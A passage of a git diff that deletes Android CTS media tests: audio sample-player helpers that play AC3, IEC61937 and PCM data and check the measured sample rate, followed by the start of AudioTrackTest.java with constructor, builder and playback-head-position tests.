-        private final int mSampleRate;
-        private final int mEncoding;
-        private final int mChannelConfig;
-        private int mBlockSize = 512;
-        protected int mOffset = 0;
-        protected AudioTrack mTrack;
-        private final TimestampAnalyzer mTimestampAnalyzer = new TimestampAnalyzer();
-
-        SamplePlayerBase(int sampleRate, int encoding, int channelConfig) {
-            mSampleRate = sampleRate;
-            mEncoding = encoding;
-            mChannelConfig = channelConfig;
-        }
-
-        // Use abstract write to handle byte[] or short[] data.
-        protected abstract int writeBlock(int numSamples);
-
-        private int primeBuffer() {
-            // Will not block when track is stopped.
-            return writeBlock(Integer.MAX_VALUE);
-        }
-
-        // Add a warning to the assert message that might help folks figure out why their
-        // PCM test is failing.
-        private String getPcmWarning() {
-            return (mInfoPCM16 == null && AudioFormat.isEncodingLinearPcm(mEncoding))
-                ? " (No PCM device!)" : "";
-        }
-
-        /**
-         * Use a device that we know supports the current encoding.
-         */
-        private void usePreferredDevice() {
-            AudioDeviceInfo info = null;
-            switch (mEncoding) {
-                case AudioFormat.ENCODING_PCM_16BIT:
-                    info = mInfoPCM16;
-                    break;
-                case AudioFormat.ENCODING_AC3:
-                    info = mInfoAC3;
-                    break;
-                case AudioFormat.ENCODING_E_AC3:
-                    info = mInfoE_AC3;
-                    break;
-                case AudioFormat.ENCODING_DTS:
-                    info = mInfoDTS;
-                    break;
-                case AudioFormat.ENCODING_DTS_HD:
-                    info = mInfoDTS_HD;
-                    break;
-                case AudioFormat.ENCODING_IEC61937:
-                    info = mInfoIEC61937;
-                    break;
-                default:
-                    break;
-            }
-
-            if (info != null) {
-                log(TAG, "track.setPreferredDevice(" + info + ")");
-                mTrack.setPreferredDevice(info);
-            }
-        }
-
-        public void playAndMeasureRate(long testDurationMillis) throws Exception {
-            final String TEST_NAME = "playAndMeasureRate";
-
-            if (mLastPlayedEncoding == AudioFormat.ENCODING_INVALID ||
-                    !AudioFormat.isEncodingLinearPcm(mEncoding) ||
-                    !AudioFormat.isEncodingLinearPcm(mLastPlayedEncoding)) {
-                Log.d(TAG, "switching from format: " + mLastPlayedEncoding
-                        + " to: " + mEncoding
-                        + " requires sleep");
-                // Switching between compressed formats may require
-                // some time for the HAL to adjust and give proper timing.
-                // One second should be ok, but we use 2 just in case.
-                Thread.sleep(2000 /* millis */);
-            }
-            mLastPlayedEncoding = mEncoding;
-
-            log(TEST_NAME, String.format("test using rate = %d, encoding = 0x%08x",
-                    mSampleRate, mEncoding));
-            // Create a track and prime it.
-            mTrack = createAudioTrack(mSampleRate, mEncoding, mChannelConfig);
-            try {
-                assertEquals(TEST_NAME + ": track created" + getPcmWarning(),
-                        AudioTrack.STATE_INITIALIZED,
-                        mTrack.getState());
-
-                if (USE_PREFERRED_DEVICE) {
-                    usePreferredDevice();
-                }
-
-                int bytesWritten = 0;
-                mOffset = primeBuffer(); // prime the buffer
-                assertTrue(TEST_NAME + ": priming offset = " + mOffset + getPcmWarning(),
-                    mOffset > 0);
-                bytesWritten += mOffset;
-
-                // Play for a while.
-                mTrack.play();
-
-                log(TEST_NAME, "native rate = "
-                        + mTrack.getNativeOutputSampleRate(mTrack.getStreamType()));
-                long elapsedMillis = 0;
-                long startTime = System.currentTimeMillis();
-                while (elapsedMillis < testDurationMillis) {
-                    writeBlock(mBlockSize);
-                    elapsedMillis = System.currentTimeMillis() - startTime;
-                    mTimestampAnalyzer.addTimestamp(mTrack);
-                }
-
-                // Did we underrun? Allow 0 or 1 because there is sometimes
-                // an underrun on startup.
-                int underrunCount1 = mTrack.getUnderrunCount();
-                assertTrue(TEST_NAME + ": too many underruns, got underrunCount1" + getPcmWarning(),
-                        underrunCount1 < 2);
-
-                // Estimate the sample rate and compare it with expected.
-                double estimatedRate = mTimestampAnalyzer.estimateSampleRate();
-                Log.d(TAG, "measured sample rate = " + estimatedRate);
-                assertEquals(TEST_NAME + ": measured sample rate" + getPcmWarning(),
-                        mSampleRate, estimatedRate, mSampleRate * MAX_RATE_TOLERANCE_FRACTION);
-
-                // Check for jitter or retrograde motion in each timestamp.
-                mTimestampAnalyzer.checkIndividualTimestamps(mSampleRate);
-
-            } finally {
-                mTrack.release();
-            }
-        }
-    }
-
-    // Create player for short[]
-    class SamplePlayerShorts extends SamplePlayerBase {
-        private final short[] mData;
-
-        SamplePlayerShorts(int sampleRate, int encoding, int channelConfig) {
-            super(sampleRate, encoding, channelConfig);
-            mData = new short[64 * 1024];
-            // Fill with noise. We should not hear the noise for IEC61937.
-            int amplitude = 8000;
-            Random random = new Random();
-            for (int i = 0; i < mData.length; i++) {
-                mData[i] = (short)(random.nextInt(amplitude) - (amplitude / 2));
-            }
-        }
-
-        SamplePlayerShorts(int sampleRate, int encoding, int channelConfig,
-                @RawRes final String res) throws Exception {
-            super(sampleRate, encoding, channelConfig);
-            mData = loadRawResourceShorts(res);
-            assertTrue("SamplePlayerShorts: load resource file as shorts", mData.length > 0);
-        }
-
-        @Override
-        protected int writeBlock(int numShorts) {
-            int result = 0;
-            int shortsToWrite = numShorts;
-            int shortsLeft = mData.length - mOffset;
-            if (shortsToWrite > shortsLeft) {
-                shortsToWrite = shortsLeft;
-            }
-            if (shortsToWrite > 0) {
-                result = mTrack.write(mData, mOffset, shortsToWrite);
-                mOffset += result;
-            } else {
-                mOffset = 0; // rewind
-            }
-            return result;
-        }
-    }
-
-    // Create player for byte[]
-    class SamplePlayerBytes extends SamplePlayerBase {
-        private final byte[] mData;
-
-        SamplePlayerBytes(int sampleRate, int encoding, int channelConfig) {
-            super(sampleRate, encoding, channelConfig);
-            mData = new byte[128 * 1024];
-        }
-
-        SamplePlayerBytes(int sampleRate, int encoding, int channelConfig, @RawRes final String res)
-                throws Exception {
-            super(sampleRate, encoding, channelConfig);
-            mData = loadRawResourceBytes(res);
-            assertTrue("SamplePlayerBytes: load resource file as bytes", mData.length > 0);
-        }
-
-        @Override
-        protected int writeBlock(int numBytes) {
-            int result = 0;
-            int bytesToWrite = numBytes;
-            int bytesLeft = mData.length - mOffset;
-            if (bytesToWrite > bytesLeft) {
-                bytesToWrite = bytesLeft;
-            }
-            if (bytesToWrite > 0) {
-                result = mTrack.write(mData, mOffset, bytesToWrite);
-                mOffset += result;
-            } else {
-                mOffset = 0; // rewind
-            }
-            return result;
-        }
-    }
-
-    public void testPlayAC3Bytes() throws Exception {
-        if (mInfoAC3 != null) {
-            SamplePlayerBytes player = new SamplePlayerBytes(
-                    48000, AudioFormat.ENCODING_AC3, AudioFormat.CHANNEL_OUT_STEREO,
-                    RES_AC3_VOICE_48000);
-            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlayAC3Shorts() throws Exception {
-        if (mInfoAC3 != null) {
-            SamplePlayerShorts player = new SamplePlayerShorts(
-                    48000, AudioFormat.ENCODING_AC3, AudioFormat.CHANNEL_OUT_STEREO,
-                    RES_AC3_VOICE_48000);
-            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlayIEC61937_32000() throws Exception {
-        if (mInfoIEC61937 != null) {
-            SamplePlayerShorts player = new SamplePlayerShorts(
-                    32000, AudioFormat.ENCODING_IEC61937, AudioFormat.CHANNEL_OUT_STEREO,
-                    RES_AC3_SPDIF_VOICE_32000);
-            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlayIEC61937_44100() throws Exception {
-        if (mInfoIEC61937 != null) {
-            SamplePlayerShorts player = new SamplePlayerShorts(
-                    44100, AudioFormat.ENCODING_IEC61937, AudioFormat.CHANNEL_OUT_STEREO,
-                    RES_AC3_SPDIF_VOICE_44100);
-            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlayIEC61937_48000() throws Exception {
-        if (mInfoIEC61937 != null) {
-            SamplePlayerShorts player = new SamplePlayerShorts(
-                    48000, AudioFormat.ENCODING_IEC61937, AudioFormat.CHANNEL_OUT_STEREO,
-                    RES_AC3_SPDIF_VOICE_48000);
-            player.playAndMeasureRate(SAMPLE_RATE_LONG_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPcmSupport() throws Exception {
-        if (REQUIRE_PCM_DEVICE) {
-            // There should always be a fake PCM device available.
-            assertTrue("testPcmSupport: PCM should be supported."
-                    + " On ATV device please check HDMI connection.",
-                    mInfoPCM16 != null);
-        }
-    }
-
-    private boolean isPcmTestingEnabled() {
-        return (mInfoPCM16 != null || !REQUIRE_PCM_DEVICE);
-    }
-
-    public void testPlaySineSweepShorts() throws Exception {
-        if (isPcmTestingEnabled()) {
-            SamplePlayerShorts player = new SamplePlayerShorts(
-                    44100, AudioFormat.ENCODING_PCM_16BIT, AudioFormat.CHANNEL_OUT_STEREO,
-                    "sinesweepraw.raw");
-            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlaySineSweepBytes() throws Exception {
-        if (isPcmTestingEnabled()) {
-            SamplePlayerBytes player = new SamplePlayerBytes(
-                    44100, AudioFormat.ENCODING_PCM_16BIT, AudioFormat.CHANNEL_OUT_STEREO,
-                    "sinesweepraw.raw");
-            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlaySineSweepBytes48000() throws Exception {
-        if (isPcmTestingEnabled()) {
-            SamplePlayerBytes player = new SamplePlayerBytes(
-                    48000, AudioFormat.ENCODING_PCM_16BIT, AudioFormat.CHANNEL_OUT_STEREO,
-                    "sinesweepraw.raw");
-            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlaySineSweepShortsMono() throws Exception {
-        if (isPcmTestingEnabled()) {
-            SamplePlayerShorts player = new SamplePlayerShorts(44100, AudioFormat.ENCODING_PCM_16BIT,
-                    AudioFormat.CHANNEL_OUT_MONO,
-                    "sinesweepraw.raw");
-            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
-        }
-    }
-
-    public void testPlaySineSweepBytesMono()
-            throws Exception {
-        if (isPcmTestingEnabled()) {
-            SamplePlayerBytes player = new SamplePlayerBytes(44100, AudioFormat.ENCODING_PCM_16BIT,
-                    AudioFormat.CHANNEL_OUT_MONO, "sinesweepraw.raw");
-            player.playAndMeasureRate(SAMPLE_RATE_SHORT_TEST_DURATION_MILLIS);
-        }
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioTrackTest.java b/tests/tests/media/src/android/media/cts/AudioTrackTest.java
deleted file mode 100755
index 8065633..0000000
--- a/tests/tests/media/src/android/media/cts/AudioTrackTest.java
+++ /dev/null
@@ -1,3533 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.testng.Assert.assertThrows;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.AudioAttributes;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioMetadata;
-import android.media.AudioMetadataReadMap;
-import android.media.AudioPresentation;
-import android.media.AudioSystem;
-import android.media.AudioTimestamp;
-import android.media.AudioTrack;
-import android.media.PlaybackParams;
-import android.media.metrics.LogSessionId;
-import android.media.metrics.MediaMetricsManager;
-import android.media.metrics.PlaybackSession;
-import android.os.PersistableBundle;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.LargeTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.DeviceReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import java.nio.ByteBuffer;
-import java.nio.FloatBuffer;
-import java.nio.ShortBuffer;
-import java.util.concurrent.Executor;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@NonMediaMainlineTest
-@RunWith(AndroidJUnit4.class)
-public class AudioTrackTest {
-    private String TAG = "AudioTrackTest";
-    private final long WAIT_MSEC = 200;
-    private final int OFFSET_DEFAULT = 0;
-    private final int OFFSET_NEGATIVE = -10;
-
-    private void log(String testName, String message) {
-        Log.v(TAG, "[" + testName + "] " + message);
-    }
-
-    private void loge(String testName, String message) {
-        Log.e(TAG, "[" + testName + "] " + message);
-    }
-
-    // -----------------------------------------------------------------
-    // private class to hold test results
-    private static class TestResults {
-        public boolean mResult = false;
-        public String mResultLog = "";
-
-        public TestResults(boolean b, String s) {
-            mResult = b;
-            mResultLog = s;
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // generic test methods
-    public TestResults constructorTestMultiSampleRate(
-    // parameters tested by this method
-            int _inTest_streamType, int _inTest_mode, int _inTest_config, int _inTest_format,
-            // parameter-dependent expected results
-            int _expected_stateForMode) {
-
-        int[] testSampleRates = { 8000, 11025, 12000, 16000, 22050, 24000, 32000, 44100, 48000 };
-        String failedRates = "Failure for rate(s): ";
-        boolean localRes, finalRes = true;
-
-        for (int i = 0; i < testSampleRates.length; i++) {
-            AudioTrack track = null;
-            try {
-                track = new AudioTrack(_inTest_streamType, testSampleRates[i], _inTest_config,
-                        _inTest_format, AudioTrack.getMinBufferSize(testSampleRates[i],
-                                _inTest_config, _inTest_format), _inTest_mode);
-            } catch (IllegalArgumentException iae) {
-                Log.e("MediaAudioTrackTest", "[ constructorTestMultiSampleRate ] exception at SR "
-                        + testSampleRates[i] + ": \n" + iae);
-                localRes = false;
-            }
-            if (track != null) {
-                localRes = (track.getState() == _expected_stateForMode);
-                track.release();
-            } else {
-                localRes = false;
-            }
-
-            if (!localRes) {
-                // log the error for the test runner
-                failedRates += Integer.toString(testSampleRates[i]) + "Hz ";
-                // log the error for logcat
-                log("constructorTestMultiSampleRate", "failed to construct "
-                        + "AudioTrack(streamType="
-                        + _inTest_streamType
-                        + ", sampleRateInHz="
-                        + testSampleRates[i]
-                        + ", channelConfig="
-                        + _inTest_config
-                        + ", audioFormat="
-                        + _inTest_format
-                        + ", bufferSizeInBytes="
-                        + AudioTrack.getMinBufferSize(testSampleRates[i], _inTest_config,
-                                AudioFormat.ENCODING_PCM_16BIT) + ", mode=" + _inTest_mode);
-                // mark test as failed
-                finalRes = false;
-            }
-        }
-        return new TestResults(finalRes, failedRates);
-    }
-
-    // -----------------------------------------------------------------
-    // AUDIOTRACK TESTS:
-    // ----------------------------------
-
-    // -----------------------------------------------------------------
-    // AudioTrack constructor and AudioTrack.getMinBufferSize(...) for 16bit PCM
-    // ----------------------------------
-
-    // Test case 1: constructor for streaming AudioTrack, mono, 16bit at misc
-    // valid sample rates
-    @Test
-    public void testConstructorMono16MusicStream() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_INITIALIZED);
-
-        assertTrue("testConstructorMono16MusicStream: " + res.mResultLog, res.mResult);
-    }
-
-    // Test case 2: constructor for streaming AudioTrack, stereo, 16bit at misc
-    // valid sample rates
-    @Test
-    public void testConstructorStereo16MusicStream() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
-                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_INITIALIZED);
-
-        assertTrue("testConstructorStereo16MusicStream: " + res.mResultLog, res.mResult);
-    }
-
-    // Test case 3: constructor for static AudioTrack, mono, 16bit at misc valid
-    // sample rates
-    @Test
-    public void testConstructorMono16MusicStatic() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_NO_STATIC_DATA);
-
-        assertTrue("testConstructorMono16MusicStatic: " + res.mResultLog, res.mResult);
-    }
-
-    // Test case 4: constructor for static AudioTrack, stereo, 16bit at misc
-    // valid sample rates
-    @Test
-    public void testConstructorStereo16MusicStatic() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
-                AudioFormat.ENCODING_PCM_16BIT, AudioTrack.STATE_NO_STATIC_DATA);
-
-        assertTrue("testConstructorStereo16MusicStatic: " + res.mResultLog, res.mResult);
-    }
-
-    // -----------------------------------------------------------------
-    // AudioTrack constructor and AudioTrack.getMinBufferSize(...) for 8bit PCM
-    // ----------------------------------
-
-    // Test case 1: constructor for streaming AudioTrack, mono, 8bit at misc
-    // valid sample rates
-    @Test
-    public void testConstructorMono8MusicStream() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_INITIALIZED);
-
-        assertTrue("testConstructorMono8MusicStream: " + res.mResultLog, res.mResult);
-    }
-
-    // Test case 2: constructor for streaming AudioTrack, stereo, 8bit at misc
-    // valid sample rates
-    @Test
-    public void testConstructorStereo8MusicStream() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STREAM, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
-                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_INITIALIZED);
-
-        assertTrue("testConstructorStereo8MusicStream: " + res.mResultLog, res.mResult);
-    }
-
-    // Test case 3: constructor for static AudioTrack, mono, 8bit at misc valid
-    // sample rates
-    @Test
-    public void testConstructorMono8MusicStatic() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_MONO,
-                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_NO_STATIC_DATA);
-
-        assertTrue("testConstructorMono8MusicStatic: " + res.mResultLog, res.mResult);
-    }
-
-    // Test case 4: constructor for static AudioTrack, stereo, 8bit at misc
-    // valid sample rates
-    @Test
-    public void testConstructorStereo8MusicStatic() throws Exception {
-
-        TestResults res = constructorTestMultiSampleRate(AudioManager.STREAM_MUSIC,
-                AudioTrack.MODE_STATIC, AudioFormat.CHANNEL_CONFIGURATION_STEREO,
-                AudioFormat.ENCODING_PCM_8BIT, AudioTrack.STATE_NO_STATIC_DATA);
-
-        assertTrue("testConstructorStereo8MusicStatic: " + res.mResultLog, res.mResult);
-    }
-
-    // -----------------------------------------------------------------
-    // AudioTrack constructor for all stream types
-    // ----------------------------------
-
-    // Test case 1: constructor for all stream types
-    @Test
-    public void testConstructorStreamType() throws Exception {
-        // constants for test
-        final int TYPE_TEST_SR = 22050;
-        final int TYPE_TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TYPE_TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TYPE_TEST_MODE = AudioTrack.MODE_STREAM;
-        final int[] STREAM_TYPES = { AudioManager.STREAM_ALARM, AudioManager.STREAM_MUSIC,
-                AudioManager.STREAM_NOTIFICATION, AudioManager.STREAM_RING,
-                AudioManager.STREAM_SYSTEM, AudioManager.STREAM_VOICE_CALL };
-        final String[] STREAM_NAMES = { "STREAM_ALARM", "STREAM_MUSIC", "STREAM_NOTIFICATION",
-                "STREAM_RING", "STREAM_SYSTEM", "STREAM_VOICE_CALL" };
-
-        boolean localTestRes = true;
-        AudioTrack track = null;
-        // test: loop constructor on all stream types
-        for (int i = 0; i < STREAM_TYPES.length; i++) {
-            try {
-                // -------- initialization --------------
-                track = new AudioTrack(STREAM_TYPES[i], TYPE_TEST_SR, TYPE_TEST_CONF,
-                        TYPE_TEST_FORMAT, AudioTrack.getMinBufferSize(TYPE_TEST_SR, TYPE_TEST_CONF,
-                                TYPE_TEST_FORMAT), TYPE_TEST_MODE);
-            } catch (IllegalArgumentException iae) {
-                loge("testConstructorStreamType", "exception for stream type " + STREAM_NAMES[i]
-                        + ": " + iae);
-                localTestRes = false;
-            }
-            // -------- test --------------
-            if (track != null) {
-                if (track.getState() != AudioTrack.STATE_INITIALIZED) {
-                    localTestRes = false;
-                    Log.e("MediaAudioTrackTest",
-                            "[ testConstructorStreamType ] failed for stream type "
-                                    + STREAM_NAMES[i]);
-                }
-                // -------- tear down --------------
-                track.release();
-            } else {
-                localTestRes = false;
-            }
-        }
-
-        assertTrue("testConstructorStreamType", localTestRes);
-    }
-
-    // -----------------------------------------------------------------
-    // AudioTrack construction with Builder
-    // ----------------------------------
-
-    // Test case 1: build AudioTrack with default parameters, test documented default params
-    @Test
-    public void testBuilderDefault() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testBuilderDefault";
-        final int expectedDefaultEncoding = AudioFormat.ENCODING_PCM_16BIT;
-        final int expectedDefaultRate =
-                AudioTrack.getNativeOutputSampleRate(AudioManager.STREAM_MUSIC);
-        final int expectedDefaultChannels = AudioFormat.CHANNEL_OUT_STEREO;
-        // use Builder
-        final int buffSizeInBytes = AudioTrack.getMinBufferSize(
-                expectedDefaultRate, expectedDefaultChannels, expectedDefaultEncoding);
-        final AudioTrack track = new AudioTrack.Builder()
-                .setBufferSizeInBytes(buffSizeInBytes)
-                .build();
-        // save results
-        final int observedState = track.getState();
-        final int observedFormat = track.getAudioFormat();
-        final int observedChannelConf = track.getChannelConfiguration();
-        final int observedRate = track.getSampleRate();
-        // release track before the test exits (either successfully or with an exception)
-        track.release();
-        // compare results
-        assertEquals(TEST_NAME + ": Track initialized", AudioTrack.STATE_INITIALIZED,
-                observedState);
-        assertEquals(TEST_NAME + ": Default track encoding", expectedDefaultEncoding,
-                observedFormat);
-        assertEquals(TEST_NAME + ": Default track channels", expectedDefaultChannels,
-                observedChannelConf);
-    }
-
-    // Test case 2: build AudioTrack with AudioFormat, test it's used
-    @Test
-    public void testBuilderFormat() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testBuilderFormat";
-        final int TEST_RATE = 32000;
-        final int TEST_CHANNELS = AudioFormat.CHANNEL_OUT_STEREO;
-        // use Builder
-        final int buffSizeInBytes = AudioTrack.getMinBufferSize(
-                TEST_RATE, TEST_CHANNELS, AudioFormat.ENCODING_PCM_16BIT);
-        final AudioTrack track = new AudioTrack.Builder()
-                .setAudioAttributes(new AudioAttributes.Builder().build())
-                .setBufferSizeInBytes(buffSizeInBytes)
-                .setAudioFormat(new AudioFormat.Builder()
-                        .setChannelMask(TEST_CHANNELS).setSampleRate(TEST_RATE).build())
-                .build();
-        // save results
-        final int observedState = track.getState();
-        final int observedChannelConf = track.getChannelConfiguration();
-        final int observedRate = track.getSampleRate();
-        // release track before the test exits (either successfully or with an exception)
-        track.release();
-        // compare results
-        assertEquals(TEST_NAME + ": Track initialized", AudioTrack.STATE_INITIALIZED,
-                observedState);
-        assertEquals(TEST_NAME + ": Track channels", TEST_CHANNELS, observedChannelConf);
-        assertEquals(TEST_NAME + ": Track sample rate", TEST_RATE, observedRate);
-    }
-
-    // Test case 3: build AudioTrack with session ID, test it's used
-    @Test
-    public void testBuilderSession() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testBuilderSession";
-        // generate a session ID
-        final int expectedSessionId = new AudioManager(getContext()).generateAudioSessionId();
-        // use builder
-        final AudioTrack track = new AudioTrack.Builder()
-                .setSessionId(expectedSessionId)
-                .build();
-        // save results
-        final int observedSessionId = track.getAudioSessionId();
-        // release track before the test exits (either successfully or with an exception)
-        track.release();
-        // compare results
-        assertEquals(TEST_NAME + ": Assigned track session ID", expectedSessionId,
-                observedSessionId);
-    }
-
-    // Test case 4: build AudioTrack with AudioAttributes built from stream type, test it's used
-    @Test
-    public void testBuilderAttributesStream() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testBuilderAttributesStream";
-        //     use a stream type documented in AudioAttributes.Builder.setLegacyStreamType(int)
-        final int expectedStreamType = AudioManager.STREAM_ALARM;
-        final int expectedContentType = AudioAttributes.CONTENT_TYPE_SPEECH;
-        final AudioAttributes attributes = new AudioAttributes.Builder()
-                .setLegacyStreamType(expectedStreamType)
-                .setContentType(expectedContentType)
-                .build();
-        // use builder
-        final AudioTrack track = new AudioTrack.Builder()
-                .setAudioAttributes(attributes)
-                .build();
-        // save results
-        final int observedStreamType = track.getStreamType();
-        final AudioAttributes observedAttributes = track.getAudioAttributes();
-
-        // release track before the test exits (either successfully or with an exception)
-        track.release();
-        // compare results
-        assertEquals(TEST_NAME + ": track stream type", expectedStreamType, observedStreamType);
-        // attributes and observedAttributes should satisfy the overloaded equals.
-        assertEquals(TEST_NAME + ": observed attributes must match",
-                attributes, observedAttributes);
-        //    also test content type was preserved in the attributes even though they
-        //     were first configured with a legacy stream type
-        assertEquals(TEST_NAME + ": attributes content type", expectedContentType,
-                attributes.getContentType());
-    }
-
-    // Test case 5: build AudioTrack with attributes and performance mode
-    @Test
-    public void testBuilderAttributesPerformanceMode() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testBuilderAttributesPerformanceMode";
-        final int testPerformanceModes[] = new int[] {
-            AudioTrack.PERFORMANCE_MODE_NONE,
-            AudioTrack.PERFORMANCE_MODE_LOW_LATENCY,
-            AudioTrack.PERFORMANCE_MODE_POWER_SAVING,
-        };
-        // construct various attributes with different preset performance modes.
-        final AudioAttributes testAttributes[] = new AudioAttributes[] {
-            new AudioAttributes.Builder().build(),
-            new AudioAttributes.Builder().setFlags(AudioAttributes.FLAG_LOW_LATENCY).build(),
-            new AudioAttributes.Builder().setFlags(AudioAttributes.FLAG_DEEP_BUFFER).build(),
-        };
-        for (int performanceMode : testPerformanceModes) {
-            for (AudioAttributes attributes : testAttributes) {
-                final AudioTrack track = new AudioTrack.Builder()
-                    .setPerformanceMode(performanceMode)
-                    .setAudioAttributes(attributes)
-                    .build();
-                // save results
-                final int actualPerformanceMode = track.getPerformanceMode();
-                // release track before the test exits
-                track.release();
-                final String result = "Attribute flags: " + attributes.getAllFlags()
-                        + " set performance mode: " + performanceMode
-                        + " actual performance mode: " + actualPerformanceMode;
-                Log.d(TEST_NAME, result);
-                assertTrue(TEST_NAME + ": " + result,
-                        actualPerformanceMode == performanceMode  // either successful
-                        || actualPerformanceMode == AudioTrack.PERFORMANCE_MODE_NONE // or none
-                        || performanceMode == AudioTrack.PERFORMANCE_MODE_NONE);
-            }
-        }
-    }
-
-    // -----------------------------------------------------------------
-    // Playback head position
-    // ----------------------------------
-
-    // Test case 1: getPlaybackHeadPosition() at 0 after initialization
-    @Test
-    public void testPlaybackHeadPositionAfterInit() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlaybackHeadPositionAfterInit";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT), TEST_MODE);
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        assertTrue(TEST_NAME, track.getPlaybackHeadPosition() == 0);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 2: getPlaybackHeadPosition() increases after play()
-    @Test
-    public void testPlaybackHeadPositionIncrease() throws Exception {
-        // constants for test
-        final String TEST_NAME = "testPlaybackHeadPositionIncrease";
-        final int TEST_SR = 22050;
-        final int TEST_CONF = AudioFormat.CHANNEL_CONFIGURATION_STEREO;
-        final int TEST_FORMAT = AudioFormat.ENCODING_PCM_16BIT;
-        final int TEST_MODE = AudioTrack.MODE_STREAM;
-        final int TEST_STREAM_TYPE = AudioManager.STREAM_MUSIC;
-
-        // -------- initialization --------------
-        int minBuffSize = AudioTrack.getMinBufferSize(TEST_SR, TEST_CONF, TEST_FORMAT);
-        AudioTrack track = new AudioTrack(TEST_STREAM_TYPE, TEST_SR, TEST_CONF, TEST_FORMAT,
-                2 * minBuffSize, TEST_MODE);
-        byte data[] = new byte[minBuffSize];
-        // -------- test --------------
-        assertTrue(TEST_NAME, track.getState() == AudioTrack.STATE_INITIALIZED);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.write(data, OFFSET_DEFAULT, data.length);
-        track.play();
-        Thread.sleep(100);
-        log(TEST_NAME, "position =" + track.getPlaybackHeadPosition());
-        assertTrue(TEST_NAME, track.getPlaybackHeadPosition() > 0);
-        // -------- tear down --------------
-        track.release();
-    }
-
-    // Test case 3: getPlaybackHeadPosition() is 0 after flush();
-    @Test
